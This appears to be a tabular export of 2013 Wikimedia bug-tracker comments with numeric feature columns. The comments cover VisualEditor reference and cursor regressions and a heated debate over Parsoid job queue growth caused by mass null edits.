+254443,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","More from Red Fiona:
+<<If the page already has references, it either doesn't add the reference at all, on this page (https://en.wikipedia.org/w/index.php?title=Vladimir_Gojkovi%C4%87&diff=575208071&oldid=551414203)
+, or adds it as the second reference when it's not really the second reference (https://en.wikipedia.org/w/index.php?title=Nataliya_Pyhyda&diff=575209107&oldid=568886402) .>>",,,1380645202,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1
+254439,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Worse, I just attempted to add an actual reference, and this bug just replaced the reference I tried to insert with a cross-reference to this new bogus :0 reference!
+
+It was a good thing Visual Editor got disabled by default recently - quality control seems to be lacking!!",,,1380378760,,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+254431,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Created attachment 13346
+Screenshot of dirty diff on ""Turkey Hill (company)""
+
+https://en.wikipedia.org/w/index.php?title=Turkey_Hill_(company)&oldid=568325662&veaction=edit
+
+http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-09-17_13-00/Turkey_Hill_-company-.png
+
+**Attached**: {F11869}",,,1379834599,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+254424,"[Regression] VisualEditor: Attribute name="":0"" inserted into <ref>","Created attachment 13344
+Screenshot of dirty diff on ""Daniel Rowe (footballer)""
+
+http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-09-17_13-00/Daniel_Rowe_-footballer-.png
+
+**Attached**: {F11868}",,,1379834387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-v44q2sk65tk423gk2wgc,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+56443,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"**Author:** `swalling`
+
+**Description:**
+Steps to reproduce:
+
+1. Place your cursor in page text. 
+2. Navigate through the text with left-right arrow keys, until you get to a reference
+3. When the ref tool popup appears, you cannot move past it with arrow keys.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1379806800,1380594405.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-trziv3xjwkvokcwfszqm,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254347,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86801 merged by Catrope:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86801",,,1380668740,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254339,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86800 merged by Catrope:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86800",,,1380668726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254336,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,Merged into master; we'll back-port and deploy tomorrow.,,,1380594405,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+254332,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86801 had a related patch set uploaded by Jforrester:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86801",,,1380594325,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254330,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86800 had a related patch set uploaded by Jforrester:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86800",,,1380594312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254326,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86788 merged by jenkins-bot:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86788",,,1380594298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254322,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,"Change 86788 had a related patch set uploaded by Catrope:
+Make cursoring over a FocusableNode work again
+
+https://gerrit.wikimedia.org/r/86788",,,1380589982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+254318,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,*** Bug 54722 has been marked as a duplicate of this bug. ***,,,1380326222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254314,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,The events from the pasteTarget (which has focus when a focusableNode is selected) are not getting through to the document listener.,,,1380201051,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+254307,VisualEditor: Cursor cannot move past references (or other nodes) when using arrow keys,Updating priority to normal. Inability to move the cursor using arrows is definitely a bug.,,,1379996431,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trziv3xjwkvokcwfszqm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+56410,VisualEditor: [Regression] Copy/paste of existing templates and images broken (unformatted text pasted only),"Copy/pasting a template that existed prior to the current session only pastes, as literal text, the unformatted text output of the template. Template boxes, etc are ignored. Images are ignored unless they have alt-text, in which case the alt-text is pasted in the position the image would be if shown.
+
+Templates added in the current editing session can be copied and pasted as expected.
+
+Possibly this is a result of the fix to bug 49396?
+
+To reproduce:
+1. Load any page with 1 or more templates or images, e.g. https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&oldid=573844495
+
+2. select and copy a template or image
+3. Paste the somewhere else in the page.
+
+Expected behaviour: the full template or image is pasted
+Actual behaviour (templates): Only text output of the template is pasted, unformatted and unlinked.
+Actual behaviour (images): Only the image caption is pasted, unformatted and unlinked.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49396",High,80.0,1379720640,1386031966.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zoji45q564z2zd5mmomf,task_description,resolved,True,c1,3,False,False,False,11,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+252365,VisualEditor: [Regression] Copy/paste of existing templates and images broken (unformatted text pasted only),This was fixed some time ago; sorry for the slow update.,,,1386031966,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zoji45q564z2zd5mmomf,task_subcomment,,True,c1,3,True,,,22,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+56406,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Parsoid is flooding the global job queue.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**Whiteboard**: [see comment 9]",High,80.0,1379716620,1394719478.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-dzv6eikbb3qjtwxvccno,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+252161,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to James Forrester from comment #36)
+> Can we close this bug now? I believe this has been fixed.
+
+No feedback => Closing.",,,1394719478,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+252157,Parsoid jobs are not dequeued fast enough during heavy editing activity,Can we close this bug now? I believe this has been fixed.,,,1385464680,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+252153,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Change 86745 merged by Faidon Liambotis:
+Bug 54406: Speed up Parsoid job processing
+
+https://gerrit.wikimedia.org/r/86745",,,1380741132,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+252150,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #30)
+> @MZMcBride: I think both the broader technical and the social issue have been
+> discussed sufficiently now. From now on I am not going to discuss anything
+> but the Parsoid job queue length in this bug.
+
+I was repeatedly called out (by you and others) on this bug for causing the increased job queue length when there's no evidence this was the case.
+
+(In reply to comment #32)
+> (I'm removing myself from cc as we don't even manage to get a fact-based
+> summary.)
+
+I wish I could remove myself, but Bugzilla doesn't allow the reporter to be changed. :-(",,,1380581906,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+252146,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Change 86745 had a related patch set uploaded by GWicke:
+Bug 54406: Speed up Parsoid job processing
+
+https://gerrit.wikimedia.org/r/86745",,,1380575437,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+252143,Parsoid jobs are not dequeued fast enough during heavy editing activity,(I'm removing myself from cc as we don't even manage to get a fact-based summary.),,,1380569455,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+252140,Parsoid jobs are not dequeued fast enough during heavy editing activity,PS: There is no such thing as a global job queue. There are several independent queues which are stored on the same infrastructure and graphed as an aggregate.,,,1380568465,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+252136,Parsoid jobs are not dequeued fast enough during heavy editing activity,@MZMcBride: I think both the broader technical and the social issue have been discussed sufficiently now. From now on I am not going to discuss anything but the Parsoid job queue length in this bug. Please discuss other aspects elsewhere.,,,1380568375,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,13,,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,1
+252132,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #3)
+> The main issue seems to be MZMcBride's null editing at a rate way beyond even
+> bot edit limits.
+
+It's difficult to look at these claims as being anything other than spurious. Attachment 13412 shows a continued increase in the global job queue (now exceeding 3.78 million jobs).
+
+I'm restoring the original bug summary, which was most accurate: Parsoid is flooding the global job queue. Nobody seems to be particularly concerned with this, however, so it may make sense to mark this bug as resolved/worksforme.",,,1380568025,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+252125,Parsoid jobs are not dequeued fast enough during heavy editing activity,"Created attachment 13412
+Screenshot to accompany comment 3
+
+**Attached**: {F11775}",,,1380567824,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252118,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #23)
+> Just curious - is there anything actionable that can possibly come out of
+> this bug?
+
+This bug was filed under the assumption that job queues shouldn't contain millions of jobs.
+
+Gabriel seems to suggest throughout this bug report that the global job queue size is irrelevant (or rather, that he's apparently unconcerned with its size), so I'm not sure there is anything actionable here. This may be a wontfix.
+
+(In reply to comment #21)
+> For templates there is no way around the load this creates when they really
+> need to be edited. I have a hard time seeing a similarly good reason for
+> making 8 million null edits at a rate of ~4/second.
+
+There are a lot of pages to edit. If we edited one page per minute and edited 31,000,000 pages, that would take approximately 58.9 years. Obviously we're going to have to go a bit faster than that.
+
+Many pages have not been re-parsed or purged from cache in years (since 2005 for the oldest pages). This results in outdated or incorrect *links entries, stale HTML cache, etc., in addition to a number of lurking page text anomalies (incorrectly unsubstituted templates, incorrectly unexpanded user signatures, etc.). Null editing is built in to MediaWiki to address these issues on a per-page basis. You've yet to identify any issue with using this built-in feature.
+
+Other than a global job queue that's already flooded, were there any issues from null editing that you (Gabriel) or anyone else has found? If so, I'd like to learn more so that I can understand and grow as a contributor.",,,1379977861,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+252112,Parsoid jobs are not dequeued fast enough during heavy editing activity,"@Yuvi: For the technical part, see comment #9. The social / DoS prevention issue is probably better discussed elsewhere.",,,1379920225,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1
+252107,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #24)
+> Yes! I'm hoping for a definition of ""what is the problem"" to actually come
+> out
+> of it. It may take a hundred more comments though, given the current speed
+> we're approaching it at.
+
+May I suggest using something that's not bugzilla for that purpose? I understand the need for clarity, but honestly a bugzilla ticket is probably not the best way to do it. A mailing list post, perhaps?",,,1379919819,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,1,1
+252100,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #23)
+> Just curious - is there anything actionable that can possibly come out of
+> this
+> bug?
+
+Yes! I'm hoping for a definition of ""what is the problem"" to actually come out of it. It may take a hundred more comments though, given the current speed we're approaching it at.",,,1379919581,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1
+252093,Parsoid jobs are not dequeued fast enough during heavy editing activity,Just curious - is there anything actionable that can possibly come out of this bug?,,,1379919308,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,False,,,12,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+252088,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #21)
+> Popular templates are protected for a reason, and editors don't edit them
+> needlessly, as they know about the high load this causes. 
+> 
+> For templates there is no way around the load this creates when they really
+> need to be edited. 
+
+Ok, so people avoid things which cause overload but still in July we had about 2M additional job queue items. And it seems that's fine. What's not fine then, what is this bug about? Can we please identify the problem and the source of it? Otherwise I don't see how one can identify solutions.
+
+> I have a hard time seeing a similarly good reason for
+> making
+> 8 million null edits at a rate of ~4/second. 
+
+I'm having a hard time too. They are just speculations without answers to what above.
+
+> Especially without talking to
+> the
+> people responsible for keeping the site running 
+
+(This makes sense.)
+
+> and in contravention of the
+> bot
+> policy.
+
+Sigh. There isn't any contravention of the bot policy. The relevant local page is [[Wikipedia:Don't worry about performance]].
+Hint: the policies or pseudo-policies you are looking for are on wikitech, e.g. [[wikitech:Robot policy]]. I don't remember which one precisely but there is one written by Tim which explicitly says ""if you're causing problems/bringing the site down we'll block you"", period.
+In this case however, I still don't see what the problem is. Again, why is 2M not a problem but 3M yes?",,,1379919266,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+252082,Parsoid jobs are not dequeued fast enough during heavy editing activity,"(In reply to comment #20)
+> Can you then explain why ""the
+> second million was too much"", i.e. why reaching 2M job queue is in your
+> opinion
+> all fine and normal while 3 is something absolutely horrible and criminal?
+> Thanks.
+
+Popular templates are protected for a reason, and editors don't edit them needlessly, as they know about the high load this causes. 
+
+For templates there is no way around the load this creates when they really need to be edited. I have a hard time seeing a similarly good reason for making 8 million null edits at a rate of ~4/second. Especially without talking to the people responsible for keeping the site running and in contravention of the bot policy.",,,1379918396,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-dzv6eikbb3qjtwxvccno,task_subcomment,,True,c1,3,True,,,12,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
